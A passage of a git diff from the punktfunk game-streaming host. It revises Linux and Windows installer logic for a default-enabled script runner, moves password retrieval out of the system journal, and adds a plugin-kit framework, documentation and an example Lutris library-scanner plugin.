%{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env" # Fedora/RHEL run firewalld by default — point the way to the installed service definitions. @@ -584,16 +591,31 @@ fi echo "punktfunk-web installed. Enable the console for your user:" echo " systemctl --user enable --now punktfunk-web" echo "A login password is generated on first start — read it with:" -echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'" +# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm / +# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a +# password out of it published the secret to every member of those groups (review 2026-08-05 L-18). +echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password" echo "Then open https://:47992" %endif %if %{with scripting} %post scripting -echo "punktfunk-scripting installed. It runs your automation — add scripts to" +# `--global`, not `--user`: a scriptlet has no user session to act on, and this is the only +# mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into +# /etc/systemd/user/…wants/). The game-library scanners are plugins now, so the runner is a default +# component rather than an add-on (design D9); it stays opt-OUT via +# `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a global +# symlink. $1 == 1 is a first INSTALL — on an upgrade ($1 > 1) this must not undo an operator's mask. +if [ "$1" -eq 1 ] && command -v systemctl >/dev/null 2>&1; then + systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || : +fi +echo "punktfunk-scripting installed and enabled for all users." +echo "It runs your automation — game-library sources, scripts in" echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)" -echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-)," -echo "then enable the runner: systemctl --user enable --now punktfunk-scripting" +echo "and plugins under ~/.config/punktfunk/plugins/." +echo "It starts with your next login; start it now with:" +echo " systemctl --user start punktfunk-scripting" +echo "Don't want it? systemctl --user mask punktfunk-scripting" %endif %changelog diff --git a/packaging/windows/punktfunk-host.iss b/packaging/windows/punktfunk-host.iss index 4be77614..e845eb72 100644 --- a/packaging/windows/punktfunk-host.iss +++ b/packaging/windows/punktfunk-host.iss @@ -329,9 +329,8 @@ Filename: "{app}\punktfunk-host.exe"; Parameters: "web setup {code:WebSetupParam ; converges tasks an older installer registered as SYSTEM. ; Best-effort (-ErrorAction SilentlyContinue): a task hiccup never fails the whole install. No braces ; in the command, so no Inno {{ }} escaping needed. -Filename: "powershell.exe"; \ - Parameters: "-NoProfile -ExecutionPolicy Bypass -Command ""$a=New-ScheduledTaskAction -Execute '{app}\scripting\scripting-run.cmd'; $t=New-ScheduledTaskTrigger -AtStartup; $p=New-ScheduledTaskPrincipal -UserId 'LocalService' -LogonType ServiceAccount; $s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p -Settings $s -Force -ErrorAction SilentlyContinue | Out-Null; Disable-ScheduledTask -TaskName PunktfunkScripting -ErrorAction SilentlyContinue | Out-Null"""; \ - StatusMsg: "Registering the Punktfunk script runner (disabled; opt-in)..."; Flags: runhidden waituntilterminated +Filename: "powershell.exe"; Parameters: "{code:ScriptingRegisterParams}"; \ + StatusMsg: "Registering the Punktfunk script runner..."; Flags: runhidden waituntilterminated #endif #if defined(WithWeb) || defined(WithScripting) ; Put back what StopBunRuntimes disabled to unlock bun.exe. Deliberately the LAST [Run] entry that @@ -619,6 +618,12 @@ end; it disabled would switch it off for everyone who had it on. } var WebTaskWasEnabled, ScriptingTaskWasEnabled: Boolean; + { Did PunktfunkScripting exist AT ALL before this install (enabled or not)? That is what + distinguishes a FRESH scripting install — where the runner is now registered enabled by default + (design D9: the library moves into plugins, and a flagship surface cannot depend on an opt-in + subsystem, or a fresh box would come up with an empty library) — from an UPGRADE, where the + operator's own choice is the only thing that may decide it. } + ScriptingTaskExisted: Boolean; { Escape a value for embedding in a single-quoted PowerShell literal ('' is PS's escaped quote). The install dir is user-chosen, so it can legitimately contain an apostrophe. } @@ -643,6 +648,22 @@ begin Result := ResultCode = 1; end; +{ Is the task registered at all, whatever its state? Distinct from TaskEnabled: an operator who + deliberately DISABLED the runner must keep it disabled across an upgrade, which is indistinguishable + from a fresh install if you only ask "was it enabled". } +function TaskExists(TaskName: String): Boolean; +var + ResultCode: Integer; +begin + Result := False; + if Exec('powershell.exe', + '-NoProfile -ExecutionPolicy Bypass -Command "' + + '$t=Get-ScheduledTask -TaskName ''' + PsLiteral(TaskName) + ''' -ErrorAction SilentlyContinue; ' + + 'if($t){exit 1}; exit 0"', + '', SW_HIDE, ewWaitUntilTerminated, ResultCode) then + Result := ResultCode = 1; +end; + { Free the bundled bun.exe (and the console's own files) BEFORE the copy. Windows will not delete a running image, so a surviving bun means "DeleteFile failed; code 5" on bun\bun.exe - the modal a user hit updating to 0.22.1. @@ -664,6 +685,9 @@ var begin WebTaskWasEnabled := TaskEnabled('PunktfunkWeb'); ScriptingTaskWasEnabled := TaskEnabled('PunktfunkScripting'); + { Probed BEFORE the Disable below, which would otherwise make every upgrade look like a fresh + install to the registration entry. } + ScriptingTaskExisted := TaskExists('PunktfunkScripting'); Exec('powershell.exe', '-NoProfile -ExecutionPolicy Bypass -Command "' + '$ErrorActionPreference=''SilentlyContinue''; ' + @@ -689,6 +713,35 @@ end; DELETED the legacy task (the console runs under the host service now), so Enable-ScheduledTask hits nothing and no-ops under SilentlyContinue. If the user cancels mid-install, though, DeinitializeSetup runs this same restore and puts the old (task-owned) world back intact. } +{ Register PunktfunkScripting, and decide whether it comes up ENABLED. + `Register-ScheduledTask` registers enabled, so the state is decided by what follows: + * FRESH install (the task did not exist) -> leave it enabled and start it now, so the runner is + live without waiting for a reboot. Since the library's scanners become plugins (design D9), + shipping this opt-in would mean a fresh box comes up with an empty library and no obvious + reason why. + * UPGRADE (the task existed) -> disable here and let RestoreTasksParams put the operator's own + state back. That order is deliberate: this entry cannot know what they chose, and defaulting + to "on" here would silently switch the runner on for everyone who had turned it off. + It remains opt-OUT: `punktfunk-host plugins disable`, or the task's own Disable, still wins and + survives every later upgrade through exactly this path. } +function ScriptingRegisterParams(Param: String): String; +begin + Result := '-NoProfile -ExecutionPolicy Bypass -Command "' + + '$ErrorActionPreference=''SilentlyContinue''; ' + + '$a=New-ScheduledTaskAction -Execute ''' + + PsLiteral(ExpandConstant('{app}\scripting\scripting-run.cmd')) + '''; ' + + '$t=New-ScheduledTaskTrigger -AtStartup; ' + + '$p=New-ScheduledTaskPrincipal -UserId ''LocalService'' -LogonType ServiceAccount; ' + + '$s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) ' + + '-AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; ' + + 'Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p ' + + '-Settings $s -Force | Out-Null; '; + if ScriptingTaskExisted then + Result := Result + 'Disable-ScheduledTask -TaskName PunktfunkScripting | Out-Null"' + else + Result := Result + 'Start-ScheduledTask -TaskName PunktfunkScripting | Out-Null"'; +end; + function RestoreTasksParams(Param: String): String; begin Result := '-NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference=''SilentlyContinue''; '; diff --git a/plugin-kit/README.md b/plugin-kit/README.md index 0dc97bb0..50fa1f3e 100644 --- a/plugin-kit/README.md +++ b/plugin-kit/README.md @@ -53,6 +53,41 @@ export default definePluginKit({ | `loggingLayer` | runner-journal line format | | `@punktfunk/plugin-kit/react` | browser glue: `createPluginRouter` (path→hash→fallback deep-link restore + `pf-ui:navigate`), `resolvePluginBase`, `useIsEmbedded`, `ResultGate`, `sseAtom` | | `@punktfunk/plugin-kit/theme.css` | the console's violet identity for plugin UIs (import first in your Tailwind entry) | +| `@punktfunk/plugin-kit/library` | everything a **game-library scanner** plugin needs — see below | + +## Library-scanner plugins (`@punktfunk/plugin-kit/library`) + +The six first-party scanners (steam, lutris, heroic, epic, gog, xbox) each live in **their own +repo**, like every other punktfunk plugin. Nothing is lost by that split because everything they +share is published here rather than sitting adjacent to them: + +| Export | What it saves you writing | +| --- | --- | +| `defineLibraryPlugin` | the whole plugin except the scan: store claim, sync engine (poll + fs-watch + debounce), launcher entries, `__config`, `category: "library"` registration, and the `detect` / `scan` / `parity` / `uninstall` CLI verbs | +| `parsers/*` | text VDF + `.acf`, binary `shortcuts.vdf` (with the CRC-32 appid and the 64-bit `rungameid` composition), read-only SQLite, `reg.exe`, capped readers, a confined path join, Steam root/library discovery, art location helpers, an anti-SSRF fetch | +| `diffParity` + the `parity` verb | the acceptance gate below | + +A first-party scanner is therefore **its parsers and a `scan` function** — a few hundred lines. + +### The parity gate + +Ported unit tests pin the parsers; they do not prove the plugin reproduces the scanner it replaces. +A plugin that parses perfectly and emits `steam:440.0` instead of `steam:440` breaks every Moonlight +pin on the host, and no parser test notices. So, on a box with that launcher installed: + +```sh +# 1. while the host is still using its BUILT-IN scanner: +punktfunk-plugin-steam parity --snapshot before.json +# 2. offline — runs this plugin's own scan and diffs: +punktfunk-plugin-steam parity --compare before.json +``` + +`--compare` exits non-zero on any difference, so it works as a release gate. It compares ids, +titles, launch recipes, roles and metadata exactly; **art by presence, not value** (the +representation legitimately changes — a host-relative proxy path or inlined `data:` URL becomes a +`file://` path or a CDN URL), so spot-check a few covers by eye once. Launcher entries the plugin +adds are reported separately rather than failing the run; an ordinary title the scanner never had +still fails. ## Telling the host how to recognize a running title (`detect`) diff --git a/plugin-kit/bun.lock b/plugin-kit/bun.lock index 8f21e9f2..c77a847b 100644 --- a/plugin-kit/bun.lock +++ b/plugin-kit/bun.lock @@ -21,12 +21,15 @@ ], }, }, + "overrides": { + "undici": "^8.9.0", + }, "packages": { "@effect/openapi-generator": ["@effect/openapi-generator@4.0.0-beta.98", "", { "dependencies": { "swagger2openapi": "^7.0.8" }, "peerDependencies": { "@effect/platform-node": "^4.0.0-beta.98", "effect": "^4.0.0-beta.98" }, "bin": { "openapigen": "dist/bin.js" } }, "sha512-7bqawr/HqJWqQ8H/bHyzBlLPA3LIIm3Y+cGYlIxnC/QVK795QpiEXb7uxTnP7V7w49V0sBtTerv4/9ZjsMffLQ=="], "@effect/platform-node": ["@effect/platform-node@4.0.0-beta.98", "", { "dependencies": { "@effect/platform-node-shared": "^4.0.0-beta.98", "mime": "^4.1.0", "undici": "^8.7.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98", "ioredis": "^5.7.0" } }, "sha512-IQu1TiLXQEDSGkDBllyYjVadf+UqdjptryqX4mmktVTTbGDq7X4uVxe7cSgXuqZvyfG6kagTzwj2lfynxOaKQg=="], - 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"undici": ["undici@7.28.0", "", {}, "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="], + "undici": ["undici@8.10.0", "", {}, "sha512-HvltHd7avK13QIw/oLe4qoOLyoVSoafqJ2jYOrtMRBkbYT31eiBQ8O0ehRKZiEZCMEyLFQNIADpgCWC5fALvYQ=="], "undici-types": ["undici-types@8.3.0", "", {}, "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="], @@ -182,7 +191,7 @@ "wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], - "ws": ["ws@8.21.1", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw=="], + "ws": ["ws@8.21.2", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-54dMVAo4WIe6SKy3vBgN+9bJZqqQ8IMRevAkOLQALhi49qkkQDQfWdAZ8KQlXiEabw88ARXXdUrlvtbKQX+aKw=="], "y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="], @@ -192,8 +201,6 @@ "yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="], - "@effect/platform-node/undici": ["undici@8.8.0", "", {}, "sha512-ubshXMXwF3MQIMF1y/WxZdNBnjEKeSg2wF5mcGUtU55YTw34tnVVpKRlLf7ruDXZ5344KokPVX4RBx1wJm64Bw=="], - "oas-linter/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="], "oas-resolver/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="], diff --git a/plugin-kit/examples/lutris-plugin.ts b/plugin-kit/examples/lutris-plugin.ts new file mode 100644 index 00000000..1752923b --- /dev/null +++ b/plugin-kit/examples/lutris-plugin.ts @@ -0,0 +1,168 @@ +// A COMPLETE library-scanner plugin, and the template the six first-party ones are cut from. +// +// This is the lutris pilot (design M5/WP5.1) — the smallest of the six, and the one that exercises +// the POSIX local-art path end to end. It lives here as a worked example rather than shipped code: +// each scanner gets its OWN repo (the house pattern), and this is what you copy into a fresh one. +// `package.json`'s `files` is dist + README, so nothing here is published. +// +// The point it proves: everything below the `scan` function is store-specific parsing, and +// everything else — the store claim, the sync engine, launcher entries, `__config`, the console +// registration, the CLI verbs including the parity gate — comes from `defineLibraryPlugin`. That is +// what makes six repos cost nothing in duplication. +// +// Ported from crates/punktfunk-host/src/library/lutris.rs, with two deliberate changes: +// * art is emitted as `file://` URLs instead of inlined `data:` URLs. The host proxies the bytes, +// so the reconcile payload stays tiny — inlining covers is what blew the host's 2 MB body limit +// at 49 titles during the playnite work, and it is exactly why the POSIX art path exists (G4). +// * the `installed = 1` filter and the untrusted-slug guard are carried over verbatim. The slug +// comes from Lutris's own database and is interpolated into a path, so the guard is load-bearing. +import * as os from "node:os"; +import * as path from "node:path"; +import { Effect, Schema } from "effect"; +import { + defineLibraryPlugin, + fileUrl, + isFile, + withReadOnlyDb, +} from "../src/library/index.js"; +import type { ProviderEntry } from "../src/wire.js"; + +const LutrisConfig = Schema.Struct({ + /** + * Where `pga.db` lives, when it isn't in one of the standard places. Annotated because the + * console's generic settings form derives its label and help text from exactly these. + */ + databasePath: Schema.optionalKey( + Schema.String.annotate({ + title: "Lutris database", + description: + "Absolute path to pga.db. Leave empty to find it automatically.", + }), + ), +}); + +/** Candidate `pga.db` locations: XDG data dir, the classic path, Flatpak. */ +const databaseCandidates = (): string[] => { + const out: string[] = []; + const xdg = process.env.XDG_DATA_HOME; + if (xdg) out.push(path.join(xdg, "lutris/pga.db")); + const home = os.homedir(); + if (home) { + out.push(path.join(home, ".local/share/lutris/pga.db")); + out.push(path.join(home, ".var/app/net.lutris.Lutris/data/lutris/pga.db")); + } + return out; +}; + +const findDatabase = (cfg: { databasePath?: string }): string | undefined => + [...(cfg.databasePath ? [cfg.databasePath] : []), ...databaseCandidates()].find( + isFile, + ); + +/** + * `/.jpg` across the current, legacy-cache and Flatpak Lutris roots. + * + * The slug comes verbatim from Lutris's database and is interpolated into a path, so a separator, + * parent ref or NUL is refused — otherwise a crafted slug is an arbitrary-file-read primitive, and + * the resulting path would be handed to the host's art proxy to serve (security-review 2026-07-17). + * Real Lutris slugs are `[a-z0-9-]`. + */ +const artFile = (kind: string, slug: string): string | undefined => { + if ( + slug === "" || + slug.includes("/") || + slug.includes("\\") || + slug.includes("..") || + slug.includes("\0") + ) { + return undefined; + } + const home = os.homedir(); + if (!home) return undefined; + const roots = [ + path.join(home, ".local/share/lutris"), + path.join(home, ".cache/lutris"), + path.join(home, ".var/app/net.lutris.Lutris/data/lutris"), + path.join(home, ".var/app/net.lutris.Lutris/cache/lutris"), + ]; + for (const root of roots) { + const p = path.join(root, kind, `${slug}.jpg`); + if (isFile(p)) return p; + } + return undefined; +}; + +interface GameRow { + id: number; + slug: string | null; + name: string; + directory: string | null; +} + +export default defineLibraryPlugin({ + // One string: plugin id, provider id, store claim, and the id of the built-in scanner this + // replaces. That identity chain is what keeps entry ids, GameStream app ids and the operator's + // existing enable/disable state intact across the migration. + name: "lutris", + configSchema: LutrisConfig, + + detect: (cfg) => Effect.sync(() => findDatabase(cfg) !== undefined), + + scan: (cfg) => + Effect.sync(() => { + const db = findDatabase(cfg); + if (!db) return []; + // Read-only + immutable: a running Lutris holding the file can neither block us nor be + // disturbed by us. + const rows = + withReadOnlyDb(db, (h) => + // `directory` is our only detect signal but is not load-bearing for the library, so + // a schema without it must not cost the whole source — the helper answers [] on a + // bad query, and the fallback keeps the titles. + h.query( + "SELECT id, slug, name, directory FROM games " + + "WHERE installed = 1 AND name IS NOT NULL AND name <> '' " + + "ORDER BY name COLLATE NOCASE", + ), + ) ?? []; + const usable = + rows.length > 0 + ? rows + : (withReadOnlyDb(db, (h) => + h.query( + "SELECT id, slug, name, NULL AS directory FROM games " + + "WHERE installed = 1 AND name IS NOT NULL AND name <> '' " + + "ORDER BY name COLLATE NOCASE", + ), + ) ?? []); + + return usable.map((row): ProviderEntry => { + const portrait = row.slug ? artFile("coverart", row.slug) : undefined; + const header = row.slug ? artFile("banners", row.slug) : undefined; + const dir = row.directory?.trim(); + return { + // The host composes `lutris:` — byte-identical to what the built-in + // scanner produced, which the parity gate checks. + external_id: String(row.id), + title: row.name, + launch: { kind: "lutris_id", value: String(row.id) }, + art: { + ...(portrait ? { portrait: fileUrl(portrait) } : {}), + ...(header ? { header: fileUrl(header) } : {}), + }, + // Lutris stamps no per-game env marker worth relying on, so the install dir is the + // whole recipe; a game with none (an emulator entry pointing at a bare ROM) stays + // untracked, exactly as it did in-host. + ...(dir ? { detect: { install_dir: dir } } : {}), + platform: "PC", + }; + }); + }), + + // Re-scan when Lutris writes: installing a game touches the database, and downloading art + // touches the cover directories. + watchDirs: (cfg) => { + const db = findDatabase(cfg); + return db ? [path.dirname(db)] : []; + }, +}); diff --git a/plugin-kit/package.json b/plugin-kit/package.json index d2d7043b..c53efb8e 100644 --- a/plugin-kit/package.json +++ b/plugin-kit/package.json @@ -1,6 +1,6 @@ { "name": "@punktfunk/plugin-kit", - "version": "0.2.0", + "version": "0.3.0", "description": "Effect-based framework for punktfunk plugins: lifecycle runtime, config/state, sync engine, UI serving, CLI scaffold, and browser helpers.", "type": "module", "license": "MIT OR Apache-2.0", @@ -29,6 +29,10 @@ "types": "./dist/wire.d.ts", "default": "./dist/wire.js" }, + "./library": { + "types": "./dist/library/index.d.ts", + "default": "./dist/library/index.js" + }, "./theme.css": "./dist/theme.css" }, "files": ["dist", "README.md"], @@ -57,5 +61,8 @@ "@types/react": "^19.2.16", "effect": "4.0.0-beta.99", "typescript": "^5.9.3" + }, + "overrides": { + "undici": "^8.9.0" } } diff --git a/plugin-kit/src/index.ts b/plugin-kit/src/index.ts index 3d2758dd..cd4aef44 100644 --- a/plugin-kit/src/index.ts +++ b/plugin-kit/src/index.ts @@ -43,6 +43,13 @@ export { type SyncSettings, type SyncStatus, } from "./sync-engine.js"; -export { httpApiEnv, serveUi, type ServeUiOptions } from "./ui-server.js"; +export { + deriveConfigJsonSchema, + httpApiEnv, + makeConfigHandler, + serveUi, + type ServeUiConfig, + type ServeUiOptions, +} from "./ui-server.js"; export { sseRoute, type SseRouteOptions } from "./sse.js"; export { type CliCommand, runPluginCli } from "./cli.js"; diff --git a/plugin-kit/src/library/define.ts b/plugin-kit/src/library/define.ts new file mode 100644 index 00000000..8978b12c --- /dev/null +++ b/plugin-kit/src/library/define.ts @@ -0,0 +1,335 @@ +// `defineLibraryPlugin` — the shared framework behind every library-scanner plugin (design D10). +// +// The point of this module is that a first-party scanner should be **its parsers and a scan +// function**, ~200–400 lines, and nothing else. Everything a scanner needs beyond that is identical +// across all six of them and lives here: claiming the store, reconciling through the sync engine, +// appending launcher entries, serving `__config` so the console renders settings without the plugin +// shipping an SPA, registering under `category: "library"` so it stays out of the nav, and the +// standard CLI verbs. +import type { PluginDef } from "@punktfunk/host"; +import * as fs from "node:fs"; +import { Duration, Effect, Layer, Schema, Stream } from "effect"; +import { type CliCommand, runPluginCli } from "../cli.js"; +import { type ConfigService, makeConfigService } from "../config.js"; +import { HostClient, PluginInfo } from "../host-client.js"; +import { ProviderClient, type ProviderClientService } from "../reconcile.js"; +import { definePluginKit, type PluginKitDef } from "../runtime.js"; +import { makeSyncEngine } from "../sync-engine.js"; +import { serveUi } from "../ui-server.js"; +import type { ProviderEntry } from "../wire.js"; +import { + diffParity, + formatParityReport, + fromHostEntry, + fromProviderEntry, + type HostGameEntry, +} from "./parity.js"; + +/** What a scan produced — the status surface and the CLI's `scan` verb both render this. */ +export interface ScanReport { + readonly entries: number; + readonly launchers: number; + /** False when the launcher isn't installed here — the library is legitimately empty. */ + readonly present: boolean; +} + +export interface LibraryPluginDef { + /** + * The plugin id. **This one string is also the provider id, the store claim, and the id of the + * built-in scanner this plugin replaces.** That identity chain is what makes the migration + * invisible: entry ids stay `:`, GameStream app ids and client art caches + * stay valid, and the operator's existing enable/disable state carries over untouched. + */ + readonly name: string; + readonly version?: string; + /** + * The store to claim (design D2). Defaults to {@link name} and should almost never differ — see + * the identity note above. Pass `null` to opt out of claiming entirely, which makes this an + * ordinary unclaimed provider whose entries surface as `custom:`. + */ + readonly store?: string | null; + /** The operator-facing config schema. Drives `__config` and every callback's argument. */ + readonly configSchema: S; + /** + * Is this launcher present on the host at all? Surfaces in the CLI's `detect` verb, and lets the + * plugin report "not installed" rather than silently syncing an empty library. + */ + readonly detect: (cfg: S["Type"]) => Effect.Effect; + /** Enumerate the launcher's installed titles — the only real per-store code. */ + readonly scan: ( + cfg: S["Type"], + ) => Effect.Effect>; + /** + * Entries that open the LAUNCHER itself (design D4) — Steam Big Picture, Heroic, … Appended to + * every reconcile, so toggling one in config takes effect on the next sync. Emit them with + * `role: "launcher"`; the kit does not stamp it for you, because a plugin may legitimately want + * an entry that opens a launcher but still lists as an ordinary game. + */ + readonly launchers?: (cfg: S["Type"]) => ReadonlyArray; + /** Launcher data dirs to watch, so a newly installed game appears without waiting for a poll. */ + readonly watchDirs?: (cfg: S["Type"]) => ReadonlyArray; + /** How often to re-scan regardless of watches. Default `Duration.minutes(15)`. */ + readonly pollInterval?: Duration.Duration; + /** Debounce on filesystem events. Default `Duration.seconds(3)`. */ + readonly debounce?: Duration.Duration; + /** Display title (the console's sources row falls back to the scanner label). Defaults to `name`. */ + readonly title?: string; + /** Extra CLI verbs beyond the standard `detect` / `scan` / `uninstall` set. */ + readonly commands?: Record>; +} + +/** `--flag value` from an argv slice, or undefined. */ +const flagValue = ( + argv: ReadonlyArray, + flag: string, +): string | undefined => { + const i = argv.indexOf(flag); + return i >= 0 && i + 1 < argv.length ? argv[i + 1] : undefined; +}; + +/** The pieces a library plugin package wires into its entry points. */ +export interface LibraryPlugin { + /** The runner-discovered default export (`export default plugin.def`). */ + readonly def: PluginDef; + /** The CLI entry (`await plugin.cli()` from the package's bin). */ + readonly cli: (argv?: ReadonlyArray) => Promise; +} + +export const defineLibraryPlugin = ( + def: LibraryPluginDef, +): LibraryPlugin => { + const store = def.store === null ? undefined : (def.store ?? def.name); + const poll = def.pollInterval ?? Duration.minutes(15); + const debounce = def.debounce ?? Duration.seconds(3); + + /** The config service, built fresh wherever it is needed (it only requires `PluginInfo`). */ + const config: Effect.Effect, never, PluginInfo> = + makeConfigService({ schema: def.configSchema }); + + /** Scan + launcher entries, in the order they should reach the host. */ + const computeEntries = ( + cfg: S["Type"], + ): Effect.Effect<{ + readonly entries: ReadonlyArray; + readonly report: ScanReport; + }> => + Effect.gen(function* () { + const present = yield* def.detect(cfg); + // A launcher that isn't installed contributes NOTHING — not even its launcher entries. A + // "Steam Big Picture" tile on a box without Steam would only fail to launch. + if (!present) { + return { + entries: [] as ReadonlyArray, + report: { entries: 0, launchers: 0, present: false } as const, + }; + } + const scanned = yield* def.scan(cfg); + const launchers = def.launchers?.(cfg) ?? []; + return { + entries: [...scanned, ...launchers], + report: { + entries: scanned.length, + launchers: launchers.length, + present: true, + } as const, + }; + }); + + /** + * Push one entry set to the host under the store claim, warning **once** if the host is too old + * to honour it. + * + * This degradation is worth the code: a pre-M2 host ignores `?store=` silently, and the only + * symptom would be this plugin's titles appearing as unbadged `custom:` entries *beside* the + * built-in scanner's identical ones — a confusing double-listing with no error anywhere. + * Checking the echoed entries turns that into one actionable log line. + */ + const applyEntries = + (provider: ProviderClientService, state: { warned: boolean }) => + (entries: ReadonlyArray): Effect.Effect => + provider.reconcile(def.name, entries, store).pipe( + Effect.tap((echoed) => { + if (!store || state.warned || echoed.length === 0) return Effect.void; + if (echoed.some((e) => e.store === store)) return Effect.void; + state.warned = true; + return Effect.logWarning( + `host is too old for store claims: this source's games will appear as custom ` + + `entries and the host's own "${store}" scanner is not suppressed, so titles ` + + `may be listed twice. Updating the host resolves it.`, + ); + }), + Effect.asVoid, + ); + + const main = Effect.gen(function* () { + const cfgService = yield* config; + const provider = yield* ProviderClient; + const state = { warned: false }; + + const engine = yield* makeSyncEngine< + ScanReport, + ReadonlyArray, + never + >({ + compute: () => cfgService.load.pipe(Effect.flatMap(computeEntries)), + apply: applyEntries(provider, state), + // The host IS the state: a full-replace reconcile is idempotent, so there is nothing to + // persist between runs. Reporting no previous fingerprint means the first sync after a + // restart always pushes, which is exactly what we want (the host may have been reinstalled + // underneath us). + lastSync: { get: Effect.succeed(undefined), set: () => Effect.void }, + settings: cfgService.load.pipe( + Effect.map((cfg) => def.watchDirs?.(cfg) ?? []), + // A config file that won't decode must not stop the poll loop: fall back to no watch + // dirs, keep syncing on the timer, and let the operator see the parse error in the + // settings drawer (`GET /__config` reports it). + Effect.catch(() => Effect.succeed([] as ReadonlyArray)), + Effect.map((watchDirs) => ({ + pollInterval: poll, + watch: true, + debounce, + watchDirs, + })), + ), + }); + + // The UI server exists ONLY to serve `__config` (and the SDK's `__health`): no `staticDir`, + // no API. That is the whole "settings without an SPA" story (design D7, closing G8), and the + // `library` category is what keeps six installed scanners out of the console's sidebar. + yield* serveUi({ + title: def.title ?? def.name, + category: "library", + config: { schema: def.configSchema, service: cfgService }, + }); + + yield* engine.start; + // A saved settings change is exactly when a user expects the library to update — and it may + // have changed `watchDirs`, so re-read settings rather than just re-syncing. + yield* Effect.forkScoped( + Stream.runForEach(cfgService.changes, () => engine.reconfigure), + ); + yield* Effect.never; + }); + + const kitDef: PluginKitDef = { + name: def.name, + ...(def.version !== undefined ? { version: def.version } : {}), + layer: ProviderClient.layer, + main: main as Effect.Effect< + void, + never, + ProviderClient | HostClient | PluginInfo | never + >, + }; + + const standardCommands: Record> = { + detect: { + summary: "report whether this launcher is installed on the host", + // Offline on purpose: "is Steam here?" must be answerable without a running host. + offline: true, + run: () => + Effect.gen(function* () { + const cfg = yield* (yield* config).load; + console.log((yield* def.detect(cfg)) ? "present" : "absent"); + }), + }, + scan: { + summary: "scan and print what WOULD be synced (--preview for the JSON entries)", + // Also offline: the point is to debug a scanner against real launcher files without + // touching the host's library. + offline: true, + run: (argv) => + Effect.gen(function* () { + const cfg = yield* (yield* config).load; + const { entries, report } = yield* computeEntries(cfg); + if (argv.includes("--preview")) { + console.log(JSON.stringify(entries, null, 2)); + } else { + console.log( + `${report.present ? "present" : "absent"}: ${report.entries} games, ` + + `${report.launchers} launcher entries`, + ); + } + }), + }, + parity: { + summary: + "prove this plugin reproduces the built-in scanner (--snapshot | --compare )", + // `--compare` is offline (it runs THIS plugin's scan); `--snapshot` needs the host. The + // dispatcher decides per invocation below, so the verb is registered as online and the + // snapshot path is the one that actually uses the client. + run: (argv) => + Effect.gen(function* () { + const snapshot = flagValue(argv, "--snapshot"); + const compare = flagValue(argv, "--compare"); + if (!snapshot && !compare) { + console.error( + "usage: parity --snapshot (capture the host's CURRENT library for this store)\n" + + " parity --compare (diff this plugin's scan against that capture)", + ); + process.exitCode = 2; + return; + } + if (snapshot) { + // The baseline: what the host reports for THIS store while its built-in scanner + // is still the thing producing it. Capture before installing the plugin. + const host = yield* HostClient; + const body = yield* host.request("GET", "/library"); + const mine = (Array.isArray(body) ? (body as HostGameEntry[]) : []) + .filter((e) => e.store === (store ?? def.name)) + .map(fromHostEntry) + .sort((a, b) => a.id.localeCompare(b.id)); + yield* Effect.sync(() => + fs.writeFileSync(snapshot, `${JSON.stringify(mine, null, 2)}\n`), + ); + console.log( + `captured ${mine.length} "${store ?? def.name}" entries to ${snapshot}`, + ); + return; + } + const baseline = yield* Effect.try({ + try: () => + JSON.parse(fs.readFileSync(compare as string, "utf8")) as ReturnType< + typeof fromHostEntry + >[], + catch: (cause) => new Error(`cannot read ${compare}: ${cause}`), + }); + const cfg = yield* (yield* config).load; + const { entries } = yield* computeEntries(cfg); + const produced = entries.map((e) => + 